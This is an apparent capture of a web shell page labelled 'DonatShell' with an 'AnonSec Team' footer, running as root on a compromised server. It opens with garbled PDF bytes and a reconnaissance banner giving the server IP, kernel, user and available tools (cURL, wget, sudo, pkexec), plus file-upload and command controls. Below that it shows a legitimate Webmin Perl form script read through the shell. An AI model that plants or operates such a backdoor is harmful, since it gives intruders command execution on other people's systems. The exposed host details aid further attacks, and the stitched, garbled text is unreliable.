%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/pptp-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /usr/share/webmin/pptp-server/edit_secret.cgi
#!/usr/bin/perl
# edit_secret.cgi
# Displays a form for editing or creating a pap secret

require './pptp-server-lib.pl';
$access{'secrets'} || &error($text{'secrets_ecannot'});
if (@ARGV) {
	$idx = $ARGV[0];
	&ui_print_header(undef, $text{'edit_secret_etitle'}, "");
	$host = &get_ppp_hostname();
	@seclist = grep { $_->{'server'} eq $host } &list_secrets();
	%sec = %{$seclist[$idx]};
	}
else {
	&ui_print_header(undef, $text{'edit_secret_ctitle'}, "");
	}

print "<form action=save_secret.cgi>\n";
if (%sec) { print "<input type=hidden name=idx value=$idx>\n"; }
print "<table border width=100%>\n";
print "<tr $tb> <td><b>",$text{'edit_secret_acc'},"</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

print "<tr $cb> <td><b>", $text{'edit_secret_user'}, "</b></td>\n";
printf "<td colspan=3><input type=radio name=client_def value=1 %s> ",
	%sec && !$sec{'client'} ? "checked" : "";
print $text{'edit_secret_uany'}, "\n";
printf "<input type=radio name=client_def value=0 %s> ",
	%sec && !$sec{'client'} ? "" : "checked";
print "<input name=client size=40 value=\"$sec{'client'}\"></td>\n";

print "<tr $cb> <td valign=top><b>", $text{'edit_secret_pass'}, "</b></td>\n";
printf "<td valign=top><input type=radio name=pass_mode value=0 %s> ",
	%sec && $sec{'secret'} eq "" ? "checked" : "";
print $text{'edit_secret_none'}, "<br>\n";
printf "<input type=radio name=pass_mode value=1 %s> ",
	$sec{'secret'} =~ /^@(.*)$/ ? "checked" : "";
print $text{'edit_secret_ffile'};
printf "<input name=pass_file size=20 value=\"%s\">\n",
	$sec{'secret'} =~ /^@(.*)$/ ? $1 : "";
print &file_chooser_button("pass_file", 0);
print "<br>\n";
if (%sec) {
	printf "<input type=radio name=pass_mode value=2 %s> ",
		$sec{'secret'} !~ /^(@.*|)$/ ? "checked" : "";
	print $text{'edit_secret_leave'}, "<br>\n";
	}
printf "<input type=radio name=pass_mode value=3 %s> ",
	%sec ? "" : "checked";
print $text{'edit_secret_setto'}, "\n";
print "<input type=password name=pass_text size=15></td>\n";

@ips = @{$sec{'ips'}};
print "<td valign=top><b>", $text{'edit_secret_vaddr'}, "</b></td>\n";
printf "<td><input type=radio name=ips_mode value=0 %s> ",
	$ips[0] eq "*" || !@ips ? "checked" : "";
print $text{'edit_secret_aany'}, "<br>\n";
printf "<input type=radio name=ips_mode value=1 %s> ",
	$ips[0] eq "-" ? "checked" : "";
print $text{'edit_secret_anone'}, "<br>\n";
printf "<input type=radio name=ips_mode value=2 %s> ",
	@ips && $ips[0] ne "-" && $ips[0] ne "*" ? "checked" : "";
print $text{'edit_secret_alist'}, "<br>\n";
printf "<textarea name=ips rows=5 cols=20>%s</textarea></td> </tr>\n",
	@ips && $ips[0] ne "-" && $ips[0] ne "*" ? join("\n", @ips) : "";

print "</table></td></tr></table>\n";
print "<table width=100%><tr><td align=left>\n";
print "<input type=submit value=", $text{'edit_secret_save'}, "></td>\n";
if (%sec) {
	print "<td align=right>\n";
	print "<input type=submit name=delete value=", $text{'edit_secret_del'},
	      "></td>\n";
	}
print "</tr></table></form>\n";

&ui_print_footer("list_secrets.cgi", $text{'edit_secret_return'});

Anon7 - 2022
AnonSec Team